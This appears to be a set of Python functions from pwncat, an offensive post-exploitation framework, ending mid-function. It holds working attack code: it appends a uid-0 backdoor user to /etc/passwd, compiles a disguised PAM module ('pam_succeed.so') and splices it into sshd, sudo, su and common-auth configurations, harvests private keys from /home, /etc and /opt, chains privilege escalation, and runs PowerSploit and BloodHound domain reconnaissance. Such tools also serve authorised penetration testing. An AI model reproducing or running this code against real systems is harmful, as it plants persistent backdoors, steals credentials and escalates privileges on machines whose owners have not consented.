def connect(self, user, backdoor_user, backdoor_pass, shell): try: yield Status("connecting to host") # Connect to the remote host's ssh server sock = socket.create_connection((pwncat.victim.host.ip, 22)) except Exception as exc: raise PersistError(str(exc)) # Create a paramiko SSH transport layer around the socket yield Status("wrapping socket in ssh transport") t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: raise PersistError("ssh negotiation failed") # Attempt authentication try: yield Status("authenticating with victim") t.auth_password(backdoor_user, backdoor_pass) except paramiko.ssh_exception.AuthenticationException: raise PersistError("incorrect password") if not t.is_authenticated(): t.close() sock.close() raise PersistError("incorrect password") # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() yield chan
def enumerate(self, session: "pwncat.manager.Session"): """Perform enumeration""" # Check that we are in a domain if not session.run("enumerate", types=["domain.details"]): return # Ensure we have PowerView loaded yield Status("loading powersploit recon") session.run("powersploit", group="recon") try: yield Status("requesting domain file servers") names = session.platform.powershell("Get-DomainFileServer")[0] except (IndexError, PowershellError): return if not isinstance(names, list): names = [names] names = [name.lower() for name in names] for computer in session.run("enumerate.domain.computer"): if computer["name"].lower() in names: yield computer
def run(self, module, escalate, remove, **kwargs): """ Execute this module """ if pwncat.victim.host is not None: query = pwncat.victim.session.query(pwncat.db.Persistence).filter_by( host_id=pwncat.victim.host.id ) else: query = pwncat.victim.session.query(pwncat.db.Persistence) if module is not None: query = query.filter_by(method=module) # Grab all the rows # We also filter here for any other key-value arguments passed # to the `run` call. We ensure the relevant key exists, and # that it is equal to the specified value, unless the key is None. # If a key is None in the database, we assume it can take on any # value and utilize it as is. This is mainly for the `user` argument # as some persistence methods apply to all users. modules = [ InstalledModule( persist=row, module=pwncat.modules.find(row.method, ignore_platform=True), ) for row in query.all() if all( [ key in row.args and (row.args[key] == value or row.args[key] is None) for key, value in kwargs.items() ] ) ] if remove: for module in modules: yield Status(f"removing {module.name}") module.remove(progress=self.progress) return if escalate: for module in modules: yield Status(f"escalating w/ [cyan]{module.name}[/cyan]") try: # User is a special case. It can be passed on because some modules # apply to all users, which means their `args` will contain `None`. if "user" in kwargs: module.escalate(user=kwargs["user"], progress=self.progress) else: module.escalate(progress=self.progress) # Escalation succeeded! return except pwncat.modules.PersistError: # Escalation failed pass yield from modules
def remove(self, **unused): """ Remove this module """ try: # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" yield Status("locating pam modules") results = ( pwncat.victim.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'" ) .strip() .decode("utf-8") ) if results != "": results = results.split("\n") pam_modules = os.path.dirname(results[0]) yield Status(f"pam modules located at {pam_modules}") # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) if (Access.DIRECTORY | Access.WRITE) in access: # Remove the the module pwncat.victim.env( ["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")] ) new_line = "auth\tsufficient\tpam_succeed.so\n" # Remove this auth method from the following pam configurations for config in ["sshd", "sudo", "su", "login"]: config = os.path.join("/etc/pam.d", config) try: with pwncat.victim.open(config, "r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue # Add this auth statement before the first auth statement content = [line for line in content if line != new_line] content = "".join(content) try: with pwncat.victim.open( config, "w", length=len(content) ) as filp: filp.write(content) except (PermissionError, FileNotFoundError): continue else: raise PersistError("insufficient permissions") except FileNotFoundError as exc: # Uh-oh, some binary was missing... I'm not sure what to do here... raise PersistError(f"[red]error[/red]: {exc}")
def enumerate(self, session: "pwncat.manager.Session"): # This uses a list because it does multiple things # 1. It _finds_ the private key locations # 2. It tries to _read_ the private keys # This needs to happen in two loops because it has to happen one at # at a time (you can't have two processes running at the same time) # ..... (right now ;) facts = [] # Search for private keys in common locations proc = session.platform.Popen( "grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null", shell=True, text=True, stdout=pwncat.subprocess.PIPE, ) with proc.stdout as pipe: yield Status("searching for private keys") for line in pipe: line = line.strip().split(" ") uid, path = int(line[0]), " ".join(line[1:]) yield Status(f"found [cyan]{rich.markup.escape(path)}[/cyan]") facts.append(PrivateKey(self.name, path, uid, None, False)) # Ensure proc is cleaned up proc.wait() for fact in facts: try: yield Status( f"reading [cyan]{rich.markup.escape(fact.path)}[/cyan]") with session.platform.open(fact.path, "r") as filp: fact.content = filp.read().strip().replace("\r\n", "\n") try: # Try to import the key to test if it's valid and if there's # a passphrase on the key. An "incorrect checksum" ValueError # is raised if there's a key. Not sure what other errors may # be raised, to be honest... RSA.importKey(fact.content) except ValueError as exc: if "incorrect checksum" in str(exc).lower(): # There's a passphrase on this key fact.encrypted = True else: # Some other error happened, probably not a key continue yield fact except (PermissionError, FileNotFoundError): continue
def enumerate(self, session: "pwncat.manager.Session"): """Perform enumeration""" # Check that we are in a domain if not session.run("enumerate", types=["domain.details"]): return # Ensure we have PowerView loaded yield Status("loading powersploit recon") session.run("powersploit", group="recon") try: domain = session.run("enumerate.domain")[0] except IndexError: # Not a domain joined machine return try: yield Status("requesting domain groups") groups = session.platform.powershell("Get-DomainGroup")[0] except (IndexError, PowershellError): # Doesn't appear to be a domain joined group return if isinstance(groups, dict): groups = [groups] for group in groups: try: yield Status( f"[cyan]{group['samaccountname']}[/cyan]: requesting members" ) members = session.platform.powershell( f"Get-DomainGroupMember \"{group['samaccountname']}\"")[0] if isinstance(members, dict): members = [members] except (IndexError, PowershellError): members = [] members = [member["MemberSID"] for member in members] yield DomainGroup(self.name, domain=domain["Name"], data=group, members=members)
def run(self, session: "pwncat.manager.Session"): """Iterate over all tampers and revert what we can""" current_user = session.current_user() for tamper in session.run("enumerate", types=["tamper"]): if not tamper.revertable: session.log( f"[yellow]warning[/yellow]: {tamper.title(session)}: not revertable" ) continue if current_user.id != tamper.uid: session.log( f"[yellow]warning[/yellow]: {tamper.title(session)}: incorrect uid to revert" ) continue try: # Attempt tamper revert yield Status(tamper.title(session)) tamper.revert(session) except ModuleFailed as exc: session.log( f"[yellow]warning[/yellow]: {tamper.title(session)}: {exc}" ) session.db.transaction_manager.commit()
def enumerate(self, session: "pwncat.manager.Session"): """Perform enumeration""" # Check that we are in a domain if not session.run("enumerate", types=["domain.details"]): return # Ensure we have PowerView loaded yield Status("loading powersploit recon") session.run("powersploit", group="recon") try: domain = session.run("enumerate.domain")[0] except IndexError: # Not a domain joined machine return try: yield Status("requesting domain groups") users = session.platform.powershell("Get-DomainUser")[0] except (IndexError, PowershellError): # Doesn't appear to be a domain joined user return if isinstance(users, dict): users = [users] for user in users: yield DomainUser( source=self.name, name=user["samaccountname"], uid=user["objectsid"], account_expires=user.get("accountexpires"), description=user.get("description") or "", enabled=True, full_name=user.get("name") or "", password_changeable_date=None, password_expires=None, user_may_change_password=True, password_required=True, password_last_set=None, last_logon=None, principal_source="", domain=domain["Name"], data=user, )
def run(self, user, exec, read, write, shell, path, data, **kwargs): """ This method is not overriden by subclasses. Subclasses should should implement the ``enumerate`` method which yields techniques. Running a module results in an EnumerateResult object which can be formatted by the default `run` command or used to execute various privilege escalation primitives utilizing the techniques enumerated. """ if (exec + read + write) > 1: raise ArgumentFormatError( "only one of exec, read, and write may be specified") if path is None and (read or write): raise ArgumentFormatError("path not specified for read/write") if data is None and write: raise ArgumentFormatError("data not specified for write") result = EscalateResult({}) yield Status("gathering techniques") for technique in self.enumerate(**kwargs): yield Status(technique) result.add(technique) if shell == "current": shell = pwncat.victim.shell if exec: yield result.exec(user=user, shell=shell, progress=self.progress) elif read: filp = result.read(user=user, filepath=path, progress=self.progress) yield FileContentsResult(path, filp) elif write: yield result.write(user=user, filepath=path, data=data, progress=self.progress) else: yield result
def install( self, session: "pwncat.manager.Session", backdoor_user, backdoor_pass, shell, ): """Add the new user""" if session.current_user().id != 0: raise ModuleFailed("installation required root privileges") if shell == "current": shell = session.platform.getenv("SHELL") if shell is None: shell = "/bin/sh" try: yield Status("reading passwd contents") with session.platform.open("/etc/passwd", "r") as filp: passwd_contents = list(filp) except (FileNotFoundError, PermissionError): raise ModuleFailed("faild to read /etc/passwd") # Hash the password yield Status("hashing password") backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512) # Store the new line we are adding new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n""" # Add the new line passwd_contents.append(new_line) try: # Write the new contents yield Status("patching /etc/passwd") with session.platform.open("/etc/passwd", "w") as filp: filp.writelines(passwd_contents) # Return an implant tracker return PasswdImplant(self.name, backdoor_user, backdoor_pass, new_line) except (FileNotFoundError, PermissionError): raise ModuleFailed("failed to write /etc/passwd")
def enumerate(self, session: "pwncat.manager.Session"): """Perform enumeration""" # Ensure we have PowerView loaded yield Status("loading powersploit recon") session.run("powersploit", group="recon") try: yield Status("requesting domain details") domain = session.platform.powershell("Get-Domain")[0] except (IndexError, PowershellError): # Doesn't appear to be a domain joined computer return try: yield Status("requesting domain sid") sid = session.platform.powershell("Get-DomainSID")[0] except (IndexError, PowershellError): sid = None yield DomainObject(self.name, domain, sid)
def enumerate(self, session: "pwncat.manager.Session"): """Perform enumeration""" # Check that we are in a domain if not session.run("enumerate", types=["domain.details"]): return # Ensure we have PowerView loaded yield Status("loading powersploit recon") session.run("powersploit", group="recon") try: yield Status("requesting domain sites") sites = session.platform.powershell("Get-DomainSite")[0] except (IndexError, PowershellError): # Doesn't appear to be a domain joined site return if isinstance(sites, dict): yield SiteObject(self.name, sites) else: yield from (SiteObject(self.name, site) for site in sites)
def enumerate(self): facts = [] # Search for private keys in common locations with pwncat.victim.subprocess( "grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null" ) as pipe: yield Status("searching for private keys") for line in pipe: line = line.strip().decode("utf-8").split(" ") uid, path = int(line[0]), " ".join(line[1:]) yield Status(f"found [cyan]{path}[/cyan]") facts.append(PrivateKeyData(uid, path, None, False)) for fact in facts: try: yield Status(f"reading [cyan]{fact.path}[/cyan]") with pwncat.victim.open(fact.path, "r") as filp: fact.content = filp.read().strip().replace("\r\n", "\n") try: # Try to import the key to test if it's valid and if there's # a passphrase on the key. An "incorrect checksum" ValueError # is raised if there's a key. Not sure what other errors may # be raised, to be honest... RSA.importKey(fact.content) except ValueError as exc: if "incorrect checksum" in str(exc).lower(): # There's a passphrase on this key fact.encrypted = True else: # Some other error happened, probably not a key continue yield "creds.private_key", fact except (PermissionError, FileNotFoundError): continue
def run(self, session: "pwncat.manager.Session", **kwargs): """This method should not be overriden by subclasses. It handles all logic for installation, escalation, connection, and removal. The standard interface of this method allows abstract interactions across all persistence modules.""" yield Status("installing implant") implant = yield from self.install(session, **kwargs) # Register the installed implant as an enumerable fact session.register_fact(implant) # Update the database session.db.transaction_manager.commit() # Return the implant return implant
def run(self, session: "pwncat.manager.Session", group: str): # Use the result system so that other modules can query available groups if group == "list": yield from (GroupInfo(name) for name in self.MODULES.keys()) return # Ensure the user selected a valid group if group not in self.MODULES: raise ModuleFailed(f"no such PowerSploit module: {group}") # Iterate over all sources in the group for url in self.MODULES[group]: yield Status(f"loading {url.split('/')[-1]}") path = pkg_resources.resource_filename( "pwncat", os.path.join("data/PowerSploit", url)) try: # Attempt to load the script in the PowerShell context. session.run("manage.powershell.import", path=path) except PowershellError as exc: # We failed, but continue loading other scripts. Just let the user know. session.log(f"while loading {url.split('/')[-1]}: {str(exc)}")
def enumerate(self, session): script = """ Get-WmiObject -Class Win32_Process | % { [PSCustomObject]@{ commandline=$_.CommandLine; description=$_.Description; path=$_.ExecutablePath; state=$_.ExecutionState; handle=$_.Handle; name=$_.Name; id=$_.ProcessId; session=$_.SessionId; owner=$_.GetOwnerSid().Sid; } } """ try: yield Status("requesting process list...") processes = session.platform.powershell(script)[0] except (IndexError, PowershellError) as exc: raise ModuleFailed(f"failed to get running processes: {exc}") for proc in processes: yield ProcessData( source=self.name, name=proc["name"], pid=proc["id"], session=proc.get("session"), owner=proc["owner"], state=proc["state"], commandline=proc["commandline"], path=proc["path"], handle=proc["handle"], )
def enumerate(self, session): try: # Get this user's crontab entries proc = session.platform.run(["crontab", "-l"], capture_output=True, text=True, check=True) user_entries = proc.stdout except CalledProcessError: # The crontab command doesn't exist :( return for line in user_entries.split("\n"): try: yield parse_crontab(self.name, session, "crontab -l", line, system=False) except ValueError: continue known_tabs = ["/etc/crontab"] for tab_path in known_tabs: try: with session.platform.open(tab_path, "r") as filp: for line in filp: try: yield parse_crontab(self.name, session, tab_path, line, system=True) except ValueError: continue except (FileNotFoundError, PermissionError): pass known_dirs = [ "/etc/cron.d", # I'm dumb. These aren't crontabs... they're scripts... # "/etc/cron.daily", # "/etc/cron.weekly", # "/etc/cron.monthly", ] for dir_path in known_dirs: try: yield Status(f"getting crontabs from [cyan]{dir_path}[/cyan]") filenames = list(session.platform.listdir(dir_path)) for filename in filenames: if filename in (".", ".."): continue yield Status(f"reading [cyan]{filename}[/cyan]") try: with session.platform.open( os.path.join(dir_path, filename), "r") as filp: for line in filp: try: yield parse_crontab( self.name, session, os.path.join(dir_path, filename), line, system=True, ) except ValueError: pass except (FileNotFoundError, PermissionError): pass except (FileNotFoundError, NotADirectoryError, PermissionError): pass
def run(self, session: "pwncat.manager.Session", **kwargs): # First, we need to load BloodHound try: yield Status("importing Invoke-BloodHound cmdlet") session.run("manage.powershell.import", path=self.SHARPHOUND_URL) except (ModuleFailed, PowershellError) as exc: raise ModuleFailed(f"while importing Invoke-BloodHound: {exc}") # Try to create a temporary file. We're just going to delete it, but # this gives us a tangeable temporary path to put the zip file. yield Status("locating a suitable temporary file location") with session.platform.tempfile(suffix="zip", mode="w") as filp: file_path = filp.name path = session.platform.Path(file_path) path.unlink() # Note the local path to the downloaded zip file and set it to our temp # file path we just created/deleted. output_path = kwargs["ZipFilename"] kwargs["ZipFilename"] = path.parts[-1] kwargs["OutputDirectory"] = str(path.parent) # Build the arguments bloodhound_args = {k: v for k, v in kwargs.items() if v is not None} argument_list = ["Invoke-BloodHound"] for k, v in bloodhound_args.items(): if isinstance(v, bool) and v: argument_list.append(f"-{k}") elif not isinstance(v, bool): argument_list.append(f"-{k}") argument_list.append(str(v)) powershell_command = shlex.join(argument_list) # Execute BloodHound try: yield Status("executing bloodhound collector") session.platform.powershell(powershell_command) except (ModuleFailed, PowershellError) as exc: raise ModuleFailed(f"Invoke-BloodHound: {exc}") output_name = path.parts[-1] path_list = list(path.parent.glob(f"**_{output_name}")) if not path_list: raise ModuleFailed("unable to find bloodhound output") # There should only be one result path = path_list[0] # Download the contents of the zip file try: yield Status(f"downloading results to {output_path}") with open(output_path, "wb") as dst: with path.open("rb") as src: shutil.copyfileobj(src, dst) except (FileNotFoundError, PermissionError) as exc: if output_path in str(exc): try: path.unlink() except FileNotFoundError: pass raise ModuleFailed(f"permission error: {output_path}") from exc raise ModuleFailed( "bloodhound failed or access to output was denied") # Delete the zip from the target yield Status("deleting collected results from target") path.unlink()
def install(self, user: str, password: str, log: str): """ Install this module """ if user is not None: self.progress.log( f"[yellow]warning[/yellow]: {self.name}: this module applies to all users" ) if pwncat.victim.current_user.id != 0: raise PersistError("must be root") # Read the source code with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp: sneaky_source = filp.read() yield Status("checking selinux state") # SELinux causes issues depending on it's configuration for selinux in pwncat.modules.run( "enumerate.gather", progress=self.progress, types=["system.selinux"] ): if selinux.data.enabled and "enforc" in selinux.data.mode: raise PersistError("selinux is currently in enforce mode") elif selinux.data.enabled: self.progress.log( "[yellow]warning[/yellow]: selinux is enabled; persistence may be logged" ) # We use the backdoor password. Build the string of encoded bytes # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...}; password_hash = hashlib.sha1(password.encode("utf-8")).digest() password_hash = ",".join(hex(c) for c in password_hash) # Insert our key sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash) # Insert the log location for successful passwords sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log) yield Status("compiling pam module for target") try: # Compile our source for the remote host lib_path = pwncat.victim.compile( [io.StringIO(sneaky_source)], suffix=".so", cflags=["-shared", "-fPIE"], ldflags=["-lcrypto"], ) except (FileNotFoundError, CompilationError) as exc: raise PersistError(f"pam: compilation failed: {exc}") yield Status("locating pam module installation") # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" try: results = ( pwncat.victim.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'" ) .strip() .decode("utf-8") ) if results != "": results = results.split("\n") pam_modules = os.path.dirname(results[0]) except FileNotFoundError: pass yield Status(f"pam modules located at {pam_modules}") # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) if (Access.DIRECTORY | Access.WRITE) in access: # Copy the module to a non-suspicious path yield Status("copying shared library") pwncat.victim.env( ["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")] ) new_line = "auth\tsufficient\tpam_succeed.so\n" yield Status("adding pam auth configuration") # Add this auth method to the following pam configurations for config in ["sshd", "sudo", "su", "login"]: yield Status(f"adding pam auth configuration: {config}") config = os.path.join("/etc/pam.d", config) try: # Read the original content with pwncat.victim.open(config, "r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue # We need to know if there is a rootok line. If there is, # we should add our line after it to ensure that rootok still # works. contains_rootok = any("pam_rootok" in line for line in content) # Add this auth statement before the first auth statement for i, line in enumerate(content): # We either insert after the rootok line or before the first # auth line, depending on if rootok is present if contains_rootok and "pam_rootok" in line: content.insert(i + 1, new_line) elif not contains_rootok and line.startswith("auth"): content.insert(i, new_line) break else: content.append(new_line) content = "".join(content) try: with pwncat.victim.open(config, "w", length=len(content)) as filp: filp.write(content) except (PermissionError, FileNotFoundError): continue pwncat.victim.tamper.created_file(log)
def run(self, user, exec, write, read, path, data, shell): whole_chain = EscalateChain(None, chain=[]) tried_users = [user] result_list = [] target_user = user if (exec + write + read) > 1: raise pwncat.modules.ArgumentFormatError( "only one of exec/write/read may be used") if (read or write) and path is None: raise ArgumentFormatError("file path not specified") if write and data is None: raise ArgumentFormatError("file content not specified") if shell == "current": shell = pwncat.victim.shell # Collect escalation options result = EscalateResult(techniques={}) yield Status("gathering techniques") for module in pwncat.modules.match(r"escalate.*", base=EscalateModule): try: yield Status(f"gathering techniques from {module.name}") result.extend(module.run(progress=self.progress)) except (ArgumentFormatError, MissingArgument): continue while True: try: if exec: yield Status(f"attempting escalation to {target_user}") chain = result.exec(target_user, shell, self.progress) whole_chain.extend(chain) yield whole_chain return elif write: yield Status(f"attempting file write as {target_user}") result.write(target_user, path, data, self.progress) whole_chain.unwrap() return elif read: yield Status(f"attempting file read as {target_user}") filp, _ = result.read(target_user, path, self.progress) yield FileContentsResult(path, filp) return else: # We just wanted to list all techniques from all modules yield result return except EscalateError: pass for user in result.techniques.keys(): # Ignore already tried users if user in tried_users: continue # Mark this user as tried tried_users.append(user) try: yield Status(f"attempting recursion to {user}") # Attempt escalation chain = result.exec(user, shell, self.progress) # Extend the chain with this new chain whole_chain.extend(chain) # Save our current results in the list result_list.append(result) # Get new results for this user result = EscalateResult(techniques={}) yield Status(f"success! gathering new techniques...") for module in pwncat.modules.match(r"escalate.*", base=EscalateModule): try: result.extend(module.run(progress=self.progress)) except ( ArgumentFormatError, MissingArgument, ): continue # Try again break except EscalateError: continue else: if not result_list: # There are no more results to try... raise EscalateError("no escalation path found") # The loop was exhausted. This user didn't work. # Go back to the previous step, but don't try this user whole_chain.pop() result = result_list.pop()
def run(self, session, remove, escalate): """Perform the requested action""" if (not remove and not escalate) or (remove and escalate): raise ModuleFailed("expected one of escalate or remove") # Look for matching implants implants = list( implant for implant in session.run("enumerate", types=["implant.*"]) if not escalate or "implant.replace" in implant.types or "implant.spawn" in implant.types) try: session._progress.stop() console.print("Found the following implants:") for i, implant in enumerate(implants): console.print(f"{i+1}. {implant.title(session)}") if remove: prompt = "Which should we remove (e.g. '1 2 4', default: all)? " elif escalate: prompt = "Which should we attempt escalation with (e.g. '1 2 4', default: all)? " while True: selections = Prompt.ask(prompt, console=console) if selections == "": break try: implant_ids = [int(idx.strip()) for idx in selections] # Filter the implants implants: List[Implant] = [ implants[i - 1] for i in implant_ids ] break except (IndexError, ValueError): console.print("[red]error[/red]: invalid selection!") finally: session._progress.start() nremoved = 0 for implant in implants: if remove: try: yield Status(f"removing: {implant.title(session)}") implant.remove(session) session.target.facts.remove(implant) nremoved += 1 except KeepImplantFact: # Remove implant types but leave the fact implant.types.remove("implant.remote") implant.types.remove("implant.replace") implant.types.remove("implant.spawn") nremoved += 1 except ModuleFailed: session.log( f"[red]error[/red]: removal failed: {implant.title(session)}" ) elif escalate: try: yield Status( f"attempting escalation with: {implant.title(session)}" ) result = implant.escalate(session) if "implant.spawn" in implant.types: # Move to the newly established session session.manager.target = result else: # Track the new shell layer in the current session session.layers.append(result) session.platform.refresh_uid() session.log( f"escalation [green]succeeded[/green] with: {implant.title(session)}" ) break except ModuleFailed: continue else: if escalate: raise ModuleFailed( "no working local escalation implants found") if nremoved: session.log(f"removed {nremoved} implants from target") # Save database modifications session.db.transaction_manager.commit()
def install(self, session: "pwncat.manager.Session", password, log): """install the pam module""" if session.current_user().id != 0: raise ModuleFailed( "root permissions required to install pam module") if any(i.source == self.name for i in session.run("enumerate", types=["implant.replace"])): raise ModuleFailed( "only one pam implant may be installed at a time") yield Status("loading pam module source code") with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp: sneaky_source = filp.read() yield Status("checking selinux state") for selinux in session.run("enumerate", types=["system.selinux"]): if selinux.enabled and "enforc" in selinux.mode: raise ModuleFailed("selinux enabled in enforce mode") elif selinux.enabled: session.log( "[yellow]warning[/yellow]: selinux is enabled; implant will be logged!" ) # Hash the backdoor password and prepare for source injection password_hash = ",".join( hex(c) for c in hashlib.sha1(password.encode("utf-8")).digest()) yield Status("patching module source code") # Inject password hash into source code sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash) # Inject log path sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log) try: yield Status("compiling pam module") lib_path = session.platform.compile( [io.StringIO(sneaky_source)], suffix=".so", cflags=["-shared", "-fPIE"], ldflags=["-lcrypto"], ) except (PlatformError, NotImplementedError) as exc: raise ModuleFailed(str(exc)) from exc try: yield Status("locating pam modules... ") result = session.platform.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'", shell=True, capture_output=True, text=True, check=True, ) pam_location = session.platform.Path( result.stdout.strip().split("\n")[0]).parent except CalledProcessError as exc: try: session.platform.run(["rm", "-f", lib_path], check=True) except CalledProcessError: session.register_fact( CreatedFile(source=self.name, uid=0, path=lib_path)) raise ModuleFailed( "failed to locate pam installation location") from exc yield Status("copying pam module") session.platform.run( ["mv", lib_path, str(pam_location / "pam_succeed.so")]) added_line = "auth\tsufficient\tpam_succeed.so\n" modified_configs = [] config_path = session.platform.Path("/", "etc", "pam.d") yield Status("patching pam configuration: ") for config in ["common-auth"]: yield Status(f"patching pam configuration: {config}") try: with (config_path / config).open("r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue any("pam_rootok" in line for line in content) for i, line in enumerate(content): if "pam_rootok" in line: content.insert(i + 1, added_line) break elif line.startswith("auth"): content.insert(i, added_line) break else: content.append(added_line) try: with (config_path / config).open("w") as filp: filp.writelines(content) modified_configs.append(config) except (PermissionError, FileNotFoundError): continue if not modified_configs: (pam_location / "pam_succeed.so").unlink() raise ModuleFailed("failed to add module to configuration") return PamImplant( self.name, password, log, str(pam_location / "pam_succeed.so"), modified_configs, added_line, )
def run(self, session, output, modules, types, clear, cache, exclude): """Perform a enumeration of the given moduels and save the output""" module_names = modules # Find all the matching modules (use set to ensure uniqueness) modules = set() for name in module_names: modules = modules | set( list( session.find_module(f"enumerate.{name}", base=EnumerateModule))) if exclude is not None and exclude: modules = (module for module in modules if not any( fnmatch.fnmatch(module.name, e) for e in exclude)) if clear: for module in modules: yield pwncat.modules.Status(module.name) module.run(session, clear=True) return # Enumerate all facts facts = {} if cache: for fact in session.target.facts: if not types or any( any(fnmatch.fnmatch(t2, t1) for t2 in fact.types) for t1 in types): if fact.type not in facts: facts[fact.type] = [fact] else: facts[fact.type].append(fact) if output is None: yield fact else: yield Status(fact.title(session)) for module in modules: if types: for pattern in types: for typ in module.PROVIDES: if fnmatch.fnmatch(typ, pattern): # This pattern matched break else: # This pattern didn't match any of the provided # types continue # We matched at least one type for this module break else: # We didn't match any types for this module continue # update our status with the name of the module we are evaluating yield pwncat.modules.Status(module.name) # Iterate over facts from the sub-module with our progress manager try: for item in module.run(session, types=types): if item.type not in facts: facts[item.type] = [item] if output is None: yield item else: yield Status(item.title(session)) else: for fact in facts[item.type]: if fact == item: break else: facts[item.type].append(item) if output is None: yield item else: yield Status(item.title(session)) except ModuleFailed as exc: session.log(f"[red]{module.name}[/red]: {str(exc)}") # We didn't ask for a report output file, so don't write one. # Because output is none, the results were already returned # in the above loop. if output is None: return yield pwncat.modules.Status("writing report") with output as filp: with session.db as db: host = db.query( pwncat.db.Host).filter_by(id=session.host).first() filp.write(f"# {host.ip} - Enumeration Report\n\n") filp.write("Enumerated Types:\n") for typ in facts: filp.write(f"- {typ}\n") filp.write("\n") for typ in facts: filp.write(f"## {typ.upper()} Facts\n\n") sections = [] for fact in facts[typ]: if getattr(fact.data, "description", None) is not None: sections.append(fact) continue filp.write( f"- {util.escape_markdown(strip_markup(str(fact.data)))}\n" ) filp.write("\n") for section in sections: filp.write( f"### {util.escape_markdown(strip_markup(str(section.data)))}\n\n" ) filp.write(f"```\n{section.data.description}\n```\n\n")
def enumerate(self): try: # Get this user's crontab entries user_entries = pwncat.victim.env(["crontab", "-l"]).decode("utf-8") except FileNotFoundError: # The crontab command doesn't exist :( return for line in user_entries.split("\n"): try: yield "software.cron.entry", parse_crontab("crontab -l", line, system=False) except ValueError: continue known_tabs = ["/etc/crontab"] for tab_path in known_tabs: try: with pwncat.victim.open(tab_path, "r") as filp: for line in filp: try: yield "software.cron.entry", parse_crontab( tab_path, line, system=True) except ValueError: continue except (FileNotFoundError, PermissionError): pass known_dirs = [ "/etc/cron.d", # I'm dumb. These aren't crontabs... they're scripts... # "/etc/cron.daily", # "/etc/cron.weekly", # "/etc/cron.monthly", ] for dir_path in known_dirs: try: yield Status(f"getting crontabs from [cyan]{dir_path}[/cyan]") filenames = list(pwncat.victim.listdir(dir_path)) for filename in filenames: if filename in (".", ".."): continue yield Status(f"reading [cyan]{filename}[/cyan]") try: with pwncat.victim.open( os.path.join(dir_path, filename), "r") as filp: for line in filp: try: yield "software.cron.entry", parse_crontab( os.path.join(dir_path, filename), line, system=True, ) except ValueError: pass except (FileNotFoundError, PermissionError): pass except (FileNotFoundError, NotADirectoryError, PermissionError): pass
def run( self, session: "pwncat.manager.Session", types: typing.List[str], clear: bool, cache: bool, ): """Locate all facts this module provides. Sub-classes should not override this method. Instead, use the enumerate method. `run` will cross-reference with database and ensure enumeration modules aren't re-run. :param session: the session on which to run the module :type session: pwncat.manager.Session :param types: list of requested fact types :type types: List[str] :param clear: whether to clear all cached enumeration data :type clear: bool :param cache: whether to return facts from the database or only new facts :type cache: bool """ # Retrieve the DB target object target = session.target if clear: # Filter out all facts which were generated by this module target.facts = persistent.list.PersistentList( (f for f in target.facts if f.source != self.name)) # Remove the enumeration state if available if self.name in target.enumerate_state: del target.enumerate_state[self.name] return # Yield all the know facts which have already been enumerated if cache and types: cached = [ f for f in target.facts if f.source == self.name and any( any( fnmatch.fnmatch(item_type, req_type) for req_type in types) for item_type in f.types) ] elif cache: cached = [f for f in target.facts if f.source == self.name] else: cached = [] yield from cached # Check if the module is scheduled to run now if (self.name in target.enumerate_state) and ( (self.SCHEDULE == Schedule.ONCE and self.name in target.enumerate_state) or (self.SCHEDULE == Schedule.PER_USER and session.platform.getuid() in target.enumerate_state[self.name])): return for item in self.enumerate(session): # Allow non-fact status updates if isinstance(item, Status) or self.SCHEDULE == Schedule.NOSAVE: yield item continue # Only add the item if it doesn't exist for f in target.facts: if f == item: break else: target.facts.append(item) # Don't yield the actual fact if we didn't ask for this type if not types or any( any( fnmatch.fnmatch(item_type, req_type) for req_type in types) for item_type in item.types): for c in cached: if item == c: break else: yield item else: yield Status(item.title(session)) # Update state for restricted modules if self.SCHEDULE == Schedule.ONCE: target.enumerate_state[self.name] = True elif self.SCHEDULE == Schedule.PER_USER: if self.name not in target.enumerate_state: target.enumerate_state[ self.name] = persistent.list.PersistentList() target.enumerate_state[self.name].append(session.platform.getuid())
def run(self, types, clear): """ Locate all facts this module provides. Sub-classes should not override this method. Instead, use the enumerate method. `run` will cross-reference with database and ensure enumeration modules aren't re-run. """ marker_name = self.name if self.SCHEDULE == Schedule.PER_USER: marker_name += f".{pwncat.victim.current_user.id}" if clear: # Delete enumerated facts query = pwncat.victim.session.query(pwncat.db.Fact).filter_by( source=self.name, host_id=pwncat.victim.host.id) query.delete(synchronize_session=False) # Delete our marker if self.SCHEDULE != Schedule.ALWAYS: query = (pwncat.victim.session.query(pwncat.db.Fact).filter_by( host_id=pwncat.victim.host.id, type="marker").filter( pwncat.db.Fact.source.startswith(self.name))) query.delete(synchronize_session=False) return # Yield all the know facts which have already been enumerated existing_facts = (pwncat.victim.session.query( pwncat.db.Fact).filter_by(source=self.name, host_id=pwncat.victim.host.id).filter( pwncat.db.Fact.type != "marker")) if types: for fact in existing_facts.all(): for typ in types: if fnmatch.fnmatch(fact.type, typ): yield fact else: yield from existing_facts.all() if self.SCHEDULE != Schedule.ALWAYS: exists = (pwncat.victim.session.query(pwncat.db.Fact.id).filter_by( host_id=pwncat.victim.host.id, type="marker", source=marker_name).scalar() is not None) if exists: return # Get any new 